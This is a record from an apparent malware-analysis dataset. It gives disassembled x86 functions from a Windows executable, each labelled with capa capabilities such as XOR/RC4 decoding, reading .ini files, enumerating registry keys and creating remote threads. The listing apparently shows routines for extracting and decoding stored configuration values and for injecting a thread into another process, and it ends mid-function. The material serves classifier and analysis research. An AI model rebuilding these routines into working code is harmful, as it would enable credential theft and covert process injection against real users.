joyce8/EMBER2024-capa huggingface dataset:
Function at 0x414f3d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
sub esp, 0x108
push ebx
push esi
push edi
call fcn.0041f350
cdq
sub eax, edx
mov esi, eax
sar esi, 1
cmp esi, 0xff
jge 0x41505d
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x108]
call fcn.0041f03e
test al, al
je 0x41505d
sub esi, 4
xor ebx, ebx
mov dword [ebp - 4], 0xcf671
test esi, esi
jle 0x414fa9
push 8
lea ecx, [ebp - 4]
lea edi, [ebp + ebx - 0x108]
call fcn.00414f18
movsx ecx, al
mov al, byte [edi]
rol al, cl
inc ebx
mov byte [edi], al
cmp ebx, esi
jl 0x414f8a
mov dword [ebp - 4], 0x3039
mov dword [ebp - 8], 0x100
push esi
lea ecx, [ebp - 4]
call fcn.00414f18
push esi
lea ecx, [ebp - 4]
movsx edi, al
call fcn.00414f18
dec dword [ebp - 8]
movsx ecx, al
lea ecx, [ebp + ecx - 0x108]
mov bl, byte [ecx]
lea eax, [ebp + edi - 0x108]
mov dl, byte [eax]
mov byte [eax], bl
mov byte [ecx], dl
jne 0x414fb7
xor edi, edi
mov dword [ebp - 4], 0xa564
test esi, esi
jle 0x415010
push 0x100
lea ecx, [ebp - 4]
call fcn.00414f18
xor byte [ebp + edi - 0x108], al
inc edi
cmp edi, esi
jl 0x414ff7
xor edi, edi
mov dword [ebp - 4], 0xd431
test esi, esi
jle 0x415036
push 0x100
lea ecx, [ebp - 4]
call fcn.00414f18
sub byte [ebp + edi - 0x108], al
inc edi
cmp edi, esi
jl 0x41501d
xor eax, eax
test esi, esi
jle 0x415050
movzx ecx, byte [ebp + eax - 0x108]
mov edx, dword [ebp + 8]
mov word [edx + eax*2], cx
inc eax
cmp eax, esi
jl 0x41503c
mov ecx, dword [ebp + 8]
xor eax, eax
mov word [ecx + esi*2], ax
mov eax, esi
jmp 0x41505f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x4150a8
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
push ebx
push esi
push edi
mov eax, 0x1fffe
call fcn.0041e7d1
mov esi, eax
xor edi, edi
mov dword [ebp - 0x10], esi
cmp esi, edi
je 0x415244
push dword [ebp + 8]
mov ebx, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0xffff
push esi
push edi
push edi
push edi
call ebx
cmp eax, edi
jbe 0x41523e
lea ecx, [eax + 1]
mov eax, esi
call fcn.0041f6bf
test al, al
je 0x41523e
mov eax, 0xc08
call fcn.0041e7d1
mov edi, eax
mov dword [ebp - 8], edi
test edi, edi
je 0x41523e
lea eax, [edi + 0x5fa]
push 0x65
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], esi
lea esi, [ebp - 0x6c]
pop eax
call fcn.004106a9
push 0x66
lea esi, [ebp - 0x2c]
pop eax
call fcn.004106a9
push 0x67
lea esi, [ebp - 0x1c]
pop eax
call fcn.004106a9
push 0x68
lea esi, [ebp - 0x54]
pop eax
call fcn.004106a9
push 0x69
lea esi, [ebp - 0x40]
pop eax
call fcn.004106a9
jmp 0x41515a
mov edi, dword [ebp - 8]
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIW]
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 4]
call esi
test eax, eax
jne 0x41521e
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 4]
call esi
test eax, eax
jne 0x41521e
push dword [ebp + 8]
mov esi, 0xff
push esi
push edi
push eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 4]
call ebx
test eax, eax
je 0x41521e
push dword [ebp + 8]
add edi, 0x1fe
push esi
push edi
push 0
lea eax, [ebp - 0x54]
push eax
push dword [ebp - 4]
call ebx
test eax, eax
je 0x41521e
push dword [ebp + 8]
lea eax, [ebp - 0x40]
push esi
lea esi, [edi + 0x1fe]
push esi
push 0
push eax
push dword [ebp - 4]
call ebx
test eax, eax
je 0x41521e
push esi
call fcn.00414f3d
test eax, eax
jle 0x41521e
push 0x56
lea esi, [ebp - 0x8c]
pop eax
call fcn.004106a9
push dword [ebp - 8]
lea eax, [edi + 0x1fe]
push eax
push edi
mov edi, dword [ebp - 0xc]
mov eax, esi
push eax
mov edx, 0x307
call fcn.0041f4f4
add esp, 0x10
test eax, eax
jle 0x41521e
mov esi, dword [ebp + 0xc]
push edi
mov ecx, esi
call fcn.0041ebf5
test al, al
je 0x41521e
inc dword [esi + 4]
mov eax, dword [ebp - 4]
push 1
call fcn.0041f6fb
mov dword [ebp - 4], eax
test eax, eax
jne 0x415157
push dword [ebp - 8]
call fcn.0041e801
mov esi, dword [ebp - 0x10]
push esi
call fcn.0041e801
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4152b7
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50c
push ebx
push esi
push edi
push 8
push 0
lea eax, [ebp - 8]
push eax
call fcn.0041e8b4
push 0x6a
lea esi, [ebp - 0xf8]
pop eax
call fcn.004106a9
push 0x6b
lea esi, [ebp - 0x68]
pop eax
call fcn.004106a9
mov ebx, 0x104
push ebx
mov eax, esi
push eax
lea eax, [ebp - 0xf8]
push eax
lea edi, [ebp - 0x300]
mov eax, reloc.WS2_32.dll_accept
call fcn.00422d63
cmp eax, 0xffffffff
je 0x415340
test eax, eax
je 0x415340
push ebx
lea eax, [ebp - 0x508]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x508]
push eax
call fcn.004150a8
lea eax, [ebp - 0x508]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
xor edi, edi
cmp dword [ebp - 4], edi
jne 0x415465
push 0x6d
lea esi, [ebp - 0x3c]
pop eax
call fcn.004106a9
push 0x6e
lea esi, [ebp - 0x94]
pop eax
call fcn.004106a9
push 0x6f
lea esi, [ebp - 0x50]
pop eax
call fcn.004106a9
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x94]
mov dword [ebp - 0x10], eax
mov eax, esi
mov dword [ebp - 0x24], 0x24
mov dword [ebp - 0x20], 0x1a
mov dword [ebp - 0x1c], 0x26
mov dword [ebp - 0x18], 0x23
mov dword [ebp - 0xc], eax
mov esi, dword [ebp + edi*4 - 0x24]
lea eax, [ebp - 0x300]
push eax
xor eax, eax
push eax
push eax
push esi
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x4153f9
cmp esi, 0x24
jne 0x4153d9
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x300]
push eax
call fcn.00415066
xor eax, eax
mov word [ebp - 0x2fa], ax
xor eax, eax
push eax
push eax
push eax
lea eax, [ebp - 8]
push eax
push 0x41524b
push 2
push 3
lea edx, [ebp - 0x14]
lea ecx, [ebp - 0x300]
call fcn.004243b6
inc edi
cmp edi, 4
jb 0x41539f
cmp dword [ebp - 4], 0
jne 0x415469
push 0x6a
lea esi, [ebp - 0xb0]
pop eax
call fcn.004106a9
push 0x6c
lea esi, [ebp - 0x3c]
pop eax
call fcn.004106a9
push ebx
mov eax, esi
push eax
lea eax, [ebp - 0xb0]
push eax
lea edi, [ebp - 0x300]
mov eax, reloc.WS2_32.dll_accept
call fcn.00422d63
cmp eax, 0xffffffff
je 0x415465
test eax, eax
je 0x415465
push ebx
lea eax, [ebp - 0x508]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 1
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x508]
push eax
call fcn.00415066
cmp dword [ebp - 4], 0
jbe 0x41547d
mov edi, dword [ebp - 8]
push 0xcb
push 0x70
pop eax
call fcn.00413936
jmp 0x415485
push dword [ebp - 8]
call fcn.0041e801
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41570c
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48c
push ebx
push esi
push edi
push 8
xor ebx, ebx
push ebx
lea eax, [ebp - 8]
push eax
call fcn.0041e8b4
push 0x77
lea esi, [ebp - 0x74]
pop eax
call fcn.004106a9
push 0x78
lea esi, [ebp - 0x28]
pop eax
call fcn.004106a9
mov esi, 0x104
push esi
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x74]
push eax
lea edi, [ebp - 0x280]
mov eax, reloc.WS2_32.dll_accept
call fcn.00422d63
cmp eax, 0xffffffff
je 0x415784
cmp eax, ebx
jbe 0x415784
push esi
lea eax, [ebp - 0x488]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x488]
push eax
call fcn.0041548a
cmp dword [ebp - 4], ebx
jne 0x4157ef
push 0x79
lea esi, [ebp - 0x40]
pop eax
call fcn.004106a9
mov eax, esi
mov dword [ebp - 0x18], 0x1a
mov dword [ebp - 0x14], 0x26
mov dword [ebp - 0x10], 0x23
mov dword [ebp - 0xc], eax
xor esi, esi
lea eax, [ebp - 0x280]
push eax
push ebx
push ebx
push dword [ebp + esi*4 - 0x18]
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x4157e6
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push 0x4154c2
push 2
push 1
lea edx, [ebp - 0xc]
lea ecx, [ebp - 0x280]
call fcn.004243b6
inc esi
cmp esi, 3
jb 0x4157b0
cmp dword [ebp - 4], ebx
jbe 0x415803
mov edi, dword [ebp - 8]
push 0xcb
push 0x7a
pop eax
call fcn.00413936
jmp 0x41580b
push dword [ebp - 8]
call fcn.0041e801
pop edi
pop esi
pop ebx
leave
ret

Function at 0x415ace
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
push esi
push edi
lea esi, [ebp - 0x30]
mov eax, 0x81
call fcn.004106a9
mov eax, esi
push 8
mov dword [ebp - 0xc], eax
xor esi, esi
push esi
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x18], 0x26
mov dword [ebp - 0x14], 0x1a
mov dword [ebp - 0x10], 0x23
call fcn.0041e8b4
xor edi, edi
lea eax, [ebp - 0x238]
push eax
push esi
push esi
push dword [ebp + edi*4 - 0x18]
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x415b46
push esi
push esi
push esi
lea eax, [ebp - 8]
push eax
push 0x415810
push 2
push 1
lea edx, [ebp - 0xc]
lea ecx, [ebp - 0x238]
call fcn.004243b6
inc edi
cmp edi, 3
jb 0x415b10
cmp dword [ebp - 4], esi
jbe 0x415b65
mov edi, dword [ebp - 8]
push 0xcb
mov eax, 0x82
call fcn.00413936
jmp 0x415b6d
push dword [ebp - 8]
call fcn.0041e801
pop edi
pop esi
leave
ret

Function at 0x415b71
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push 0xff
push edi
lea eax, [ebp - 0x100]
push eax
call fcn.0041e83d
mov cl, byte [ebp - 0xff]
xor cl, byte [ebp - 0x100]
mov dl, byte [ebp - 0xfe]
xor eax, eax
or cl, 0x50
mov byte [ebp - 2], al
cmp dl, al
je 0x415bc3
push esi
lea esi, [ebp - 0xfe]
xor dl, cl
movzx edx, dl
mov word [edi + eax*2], dx
inc eax
inc esi
mov dl, byte [esi]
test dl, dl
jne 0x415bb1
pop esi
xor ecx, ecx
mov word [edi + eax*2], cx
leave
ret
Function at 0x415e44
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push ebx
push esi
mov ecx, edi
call fcn.0041f350
cdq
sub eax, edx
mov esi, eax
sar esi, 1
cmp esi, 0xff
jge 0x415ef6
lea ecx, [ebp - 0x100]
mov eax, edi
call fcn.0041f03e
test al, al
je 0x415ef6
xor eax, eax
test esi, esi
jle 0x415e8d
xor byte [ebp + eax - 0x100], 0x5c
inc eax
cmp eax, esi
jl 0x415e80
mov bl, byte [ebp - 0x100]
cmp bl, 0xff
jne 0x415ea6
mov bl, byte [ebp - 0xfe]
lea eax, [ebp - 0xfd]
jmp 0x415eac
lea eax, [ebp - 0xff]
movzx ecx, byte [eax]
lea ecx, [eax + ecx + 1]
movzx eax, bl
lea edx, [eax + ecx]
lea esi, [ebp + esi - 0x100]
cmp edx, esi
ja 0x415ef6
cmp eax, dword [ebp + 8]
jl 0x415ef6
cmp byte [ebp - 0x100], 0xff
jne 0x415ed8
add ecx, dword [ebp + 8]
sub bl, byte [ebp + 8]
movzx eax, bl
xor edx, edx
test eax, eax
jle 0x415eee
movzx esi, byte [edx + ecx]
mov word [edi + edx*2], si
inc edx
cmp edx, eax
jl 0x415ee1
xor ecx, ecx
mov word [edi + eax*2], cx
jmp 0x415ef8
xor eax, eax
pop esi
pop ebx
leave
ret 4
Function at 0x415efe
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
push ebx
push esi
push edi
push 8
xor edi, edi
push edi
lea eax, [ebp - 0x1c]
push eax
call fcn.0041e8b4
mov eax, 0xc1c
call fcn.0041e7d1
mov dword [ebp - 0xc], eax
cmp eax, edi
je 0x416120
add eax, 0x3fc
mov dword [ebp - 0x20], eax
lea esi, [ebp - 0x100]
mov eax, 0x8a
mov dword [ebp - 0x2c], reloc.WS2_32.dll_accept
mov dword [ebp - 0x28], reloc.WS2_32.dll_bind
call fcn.004106a9
lea esi, [ebp - 0x54]
mov eax, 0x8b
call fcn.004106a9
lea esi, [ebp - 0x80]
mov eax, 0x8c
call fcn.004106a9
lea esi, [ebp - 0x40]
mov eax, 0x8d
call fcn.004106a9
lea esi, [ebp - 0x68]
mov eax, 0x8e
call fcn.004106a9
mov dword [ebp - 8], edi
mov ebx, 0xff
lea eax, [ebp - 4]
push eax
push 8
push edi
lea eax, [ebp - 0x100]
push eax
mov eax, dword [ebp - 8]
push dword [ebp + eax*4 - 0x2c]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41610b
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x308]
push eax
push edi
push dword [ebp - 4]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x416102
mov edi, dword [ebp - 0xc]
inc dword [ebp - 0x14]
push ebx
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x308]
push eax
mov eax, dword [ebp - 4]
call fcn.00422d63
mov dword [ebp - 0x24], eax
cmp eax, 0xffffffff
je 0x4160d4
test eax, eax
je 0x4160d4
push ebx
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x308]
push eax
mov eax, dword [ebp - 4]
add edi, 0x1fe
call fcn.00422d63
mov esi, eax
cmp esi, 0xffffffff
je 0x4160d4
test esi, esi
je 0x4160d4
mov edi, dword [ebp - 0x20]
push ebx
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x308]
push eax
mov eax, dword [ebp - 4]
call fcn.00422d63
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
je 0x4160d4
test eax, eax
je 0x4160d4
add esi, dword [ebp - 0x24]
push esi
call fcn.00415e44
test eax, eax
jle 0x4160d4
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x308]
push eax
mov eax, dword [ebp - 4]
call fcn.00422e19
mov edi, eax
cmp edi, 1
jb 0x41608a
cmp edi, 0xffff
jbe 0x41608d
push 0x15
pop edi
push 0x55
lea esi, [ebp - 0xa8]
pop eax
call fcn.004106a9
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
push edi
push eax
push ecx
add eax, 0x1fe
push eax
mov eax, esi
push eax
mov edx, 0x311
lea edi, [ecx + 0x1fe]
call fcn.0041f4f4
add esp, 0x14
test eax, eax
jle 0x4160d4
push edi
lea ecx, [ebp - 0x1c]
call fcn.0041ebf5
test al, al
je 0x4160d4
inc dword [ebp - 0x18]
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x308]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 0x10], 0x104
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x415fdd
xor edi, edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc dword [ebp - 8]
cmp dword [ebp - 8], 2
jb 0x415f8f
push dword [ebp - 0xc]
call fcn.0041e801
cmp dword [ebp - 0x18], edi
jbe 0x416139
mov edi, dword [ebp - 0x1c]
push 0xcb
mov eax, 0x8f
call fcn.00413936
jmp 0x416141
push dword [ebp - 0x1c]
call fcn.0041e801
pop edi
pop esi
pop ebx
leave
ret
Function at 0x416412
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
push esi
push edi
lea esi, [ebp - 0x38]
mov eax, 0x95
call fcn.004106a9
mov eax, esi
push 8
mov dword [ebp - 0xc], eax
xor esi, esi
push esi
lea eax, [ebp - 8]
push eax
mov dword [ebp - 0x18], 0x26
mov dword [ebp - 0x14], 0x1a
mov dword [ebp - 0x10], 0x23
call fcn.0041e8b4
xor edi, edi
lea eax, [ebp - 0x240]
push eax
push esi
push esi
push dword [ebp + edi*4 - 0x18]
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x41648a
push esi
push esi
push esi
lea eax, [ebp - 8]
push eax
push 0x416160
push 2
push 1
lea edx, [ebp - 0xc]
lea ecx, [ebp - 0x240]
call fcn.004243b6
inc edi
cmp edi, 3
jb 0x416454
cmp dword [ebp - 4], esi
jbe 0x4164a9
mov edi, dword [ebp - 8]
push 0xcb
mov eax, 0x96
call fcn.00413936
jmp 0x4164b1
push dword [ebp - 8]
call fcn.0041e801
pop edi
pop esi
leave
ret
Function at 0x4164b5
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2bc
push ebx
push esi
push edi
push 8
xor edi, edi
push edi
lea eax, [ebp - 0x18]
push eax
call fcn.0041e8b4
mov eax, 0xc1c
call fcn.0041e7d1
mov dword [ebp - 0xc], eax
cmp eax, edi
je 0x4166d4
add eax, 0x3fc
mov dword [ebp - 0x1c], eax
lea esi, [ebp - 0xb0]
mov eax, 0x97
call fcn.004106a9
lea esi, [ebp - 0x3c]
mov eax, 0x98
call fcn.004106a9
lea esi, [ebp - 0x48]
mov eax, 0x99
call fcn.004106a9
lea esi, [ebp - 0x30]
mov eax, 0x9a
call fcn.004106a9
lea esi, [ebp - 0x24]
mov eax, 0x9b
call fcn.004106a9
lea eax, [ebp - 4]
push eax
push 8
push edi
lea eax, [ebp - 0xb0]
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4166ab
push edi
push edi
push edi
push edi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x2b8]
push eax
push edi
push dword [ebp - 4]
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], 0x104
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x4166a2
mov ebx, 0xff
mov edi, dword [ebp - 0xc]
inc dword [ebp - 0x10]
push ebx
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x2b8]
push eax
mov eax, dword [ebp - 4]
call fcn.00422d63
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x416674
test eax, eax
je 0x416674
push ebx
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2b8]
push eax
mov eax, dword [ebp - 4]
add edi, 0x1fe
call fcn.00422d63
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x416674
test eax, eax
je 0x416674
mov edi, dword [ebp - 0x1c]
push ebx
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x2b8]
push eax
mov eax, dword [ebp - 4]
call fcn.00422d63
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x416674
test eax, eax
je 0x416674
mov ecx, edi
call fcn.0041f350
test eax, eax
jle 0x416674
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x2b8]
push eax
mov eax, dword [ebp - 4]
call fcn.00422e19
mov edi, eax
cmp edi, 1
jb 0x41662d
cmp edi, 0xffff
jbe 0x416630
push 0x15
pop edi
push 0x55
lea esi, [ebp - 0x70]
pop eax
call fcn.004106a9
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
push edi
push eax
push ecx
add eax, 0x1fe
push eax
mov eax, esi
push eax
mov edx, 0x311
lea edi, [ecx + 0x1fe]
call fcn.0041f4f4
add esp, 0x14
test eax, eax
jle 0x416674
push edi
lea ecx, [ebp - 0x18]
call fcn.0041ebf5
test al, al
je 0x416674
inc dword [ebp - 0x14]
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x2b8]
push eax
push dword [ebp - 0x10]
mov dword [ebp - 8], 0x104
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x416581
xor edi, edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0xc]
call fcn.0041e801
cmp dword [ebp - 0x14], edi
jbe 0x4166cc
mov edi, dword [ebp - 0x18]
push 0xcb
mov eax, 0x9c
call fcn.00413936
jmp 0x4166d4
push dword [ebp - 0x18]
call fcn.0041e801
pop edi
pop esi
pop ebx
leave
ret
Function at 0x416e45
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x53c
push ebx
push esi
push edi
push 8
push 0
lea eax, [ebp - 0xc]
push eax
call fcn.0041e8b4
lea esi, [ebp - 0x128]
mov eax, 0xa3
call fcn.004106a9
lea esi, [ebp - 0xb8]
mov eax, 0xa5
call fcn.004106a9
lea esi, [ebp - 0x54]
mov eax, 0xa4
call fcn.004106a9
lea esi, [ebp - 0x2c]
mov eax, 0xa6
call fcn.004106a9
lea eax, [ebp - 0x128]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0xb8]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x54]
mov dword [ebp - 0x14], eax
mov eax, esi
mov dword [ebp - 0x10], eax
xor esi, esi
mov dword [ebp - 4], 2
mov ebx, 0x104
push ebx
push dword [ebp + esi - 0x14]
lea edi, [ebp - 0x330]
push dword [ebp + esi - 0x1c]
mov eax, reloc.WS2_32.dll_accept
call fcn.00422d63
cmp eax, 0xffffffff
je 0x416f04
test eax, eax
je 0x416f04
push ebx
lea eax, [ebp - 0x538]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea edx, [ebp - 0xc]
lea ecx, [ebp - 0x538]
call fcn.00416b88
add esi, 4
dec dword [ebp - 4]
jne 0x416ec3
cmp dword [ebp - 8], 0
jbe 0x416f26
mov edi, dword [ebp - 0xc]
push 0xcb
mov eax, 0xa7
call fcn.00413936
jmp 0x416f2e
push dword [ebp - 0xc]
call fcn.0041e801
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4176cb
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebx + 0x180]
sub esp, 0x2c8
push esi
push edi
test eax, eax
je 0x4176f4
push 0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x417793
lea esi, [ebx + 0x17c]
call fcn.0042021e
push 1
lea edi, [ebp - 0x2c8]
call fcn.0041ce55
xor edi, edi
push edi
lea eax, [ebp - 0xc0]
push eax
push 0x2937498d
call fcn.0041ca6e
push 0x44
pop edx
push edx
push edi
lea eax, [ebp - 0x58]
push eax
call fcn.0041e8b4
push dword [ebx + 0xc]
lea eax, [ebp - 0xc0]
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x50], eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push edi
push 0x40718c
lea eax, [ebp - 0x2c8]
push eax
call fcn.004200d6
test eax, eax
jne 0x417765
xor al, al
jmp 0x417795
push 0x10
lea eax, [ebp - 0x10]
push eax
push esi
call fcn.0041e83d
push 0x3e8
push dword [ebx + 0xc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x417793
push edi
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call fcn.0042021e
jmp 0x417761
mov al, 1
pop edi
pop esi
leave
ret
Function at 0x41782d
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x290
push ebx
push esi
push dword [ebp + 8]
mov ebx, eax
call fcn.00412ae8
movzx eax, ax
mov dword [ebp - 8], eax
test al, 1
jne 0x4179d4
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test eax, eax
je 0x41788d
push 2
lea eax, [ebx + 0x50]
push eax
push dword [ebp - 0xc]
lea eax, [ebx + 0x3c]
push eax
mov eax, dword [ebx + 0x4c]
lea ecx, [ebp - 0x88]
call fcn.00423298
lea eax, [ebp - 0x88]
push eax
call fcn.0042241e
mov byte [ebp - 1], al
jmp 0x417891
mov byte [ebp - 1], 0
cmp byte [ebp - 1], 0
mov esi, dword [sym.imp.KERNEL32.dll_ResetEvent]
je 0x417924
test byte [ebp - 8], 0x10
jne 0x417924
push dword [ebx + 0xc]
call esi
movzx eax, word [edi + 0xc]
movzx ecx, word [edi + 8]
shl eax, 0x10
or eax, ecx
movzx ecx, word [edi]
push eax
movzx eax, word [edi + 4]
shl eax, 0x10
or eax, ecx
push eax
push dword [ebx + 8]
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_PostMessageW]
test eax, eax
je 0x417924
push 0x64
push dword [ebx + 0xc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4179d4
push 0x101
lea eax, [ebp - 0x290]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetClassNameW]
lea eax, [ebp - 0x290]
push eax
push 0x407198
push 2
push 0x1e2
push 0x4071f0
push 0x407238
call fcn.00420542
add esp, 0x18
call fcn.004176cb
test al, al
je 0x417993
mov eax, dword [ebx + 0x10]
push 0x10
push edi
add eax, 0x114
push eax
call fcn.0041e83d
push dword [ebx + 0xc]
call esi
push dword [ebp + 8]
push 0xfffffffffffffffc
push dword [ebx + 8]
push dword [ebx + 0x188]
call dword [sym.imp.USER32.dll_PostThreadMessageW]
test eax, eax
je 0x417993
push 0x3e8
push dword [ebx + 0xc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x41797e
mov eax, dword [ebx + 0x10]
cmp byte [eax + 0x124], 1
jne 0x417993
mov al, byte [ebp - 1]
jmp 0x4179d6
push 0
lea esi, [ebx + 0x17c]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call fcn.0042021e
mov eax, dword [ebp + 0xc]
test dword [eax + 0x24], 0x40000000
jne 0x4179d4
push edi
add eax, 4
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_IntersectRect]
push 6
lea eax, [ebp - 0x1c]
push eax
push dword [ebx + 0x154]
call dword [sym.imp.USER32.dll_FillRect]
push 0xf
push 0xa
lea eax, [ebp - 0x1c]
push eax
push dword [ebx + 0x154]
call dword [sym.imp.USER32.dll_DrawEdge]
mov al, 1
pop esi
pop ebx
leave
ret 8
Function at 0x417ab0
Capabilities:
Create thread

Disassembly:
push ecx
push ebx
push ebp
push esi
mov esi, dword [esp + 0x14]
push esi
xor ebx, ebx
push ebx
push 0x47a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebp, eax
mov dword [esp + 0xc], ebp
cmp ebp, ebx
je 0x417bb0
push edi
push ebx
push dword [esp + 0x20]
push ebp
call fcn.0041cae4
mov edi, eax
cmp edi, ebx
je 0x417b8a
sub eax, dword [0x42ac8c]
push ebx
push ebx
push ebx
add eax, 0x41d33e
push eax
push ebx
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
cmp esi, ebx
je 0x417b5b
push esi
push edi
push 0x407254
push ebx
push 0x33
mov ebp, 0x407290
push ebp
mov ebx, 0x4072d8
push ebx
call fcn.00420542
add esp, 0x1c
push 0x2710
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x417b4c
push esi
push edi
push 0x4072f0
push 1
push 0x36
push ebp
push ebx
call fcn.00420542
add esp, 0x1c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebp, dword [esp + 0x10]
mov bl, 1
jmp 0x417ba6
push dword [esp + 0x18]
push 0x407368
push 2
push 0x3d
push 0x407290
push 0x4072d8
call fcn.00420542
add esp, 0x18
push 0x8000
push ebx
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x417ba6
push esi
push 0x4073d8
push 2
push 0x42
push 0x407290
push 0x4072d8
call fcn.00420542
add esp, 0x18
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
jmp 0x417bcc
push esi
push 0x407430
push 2
push 0x48
push 0x407290
push 0x4072d8
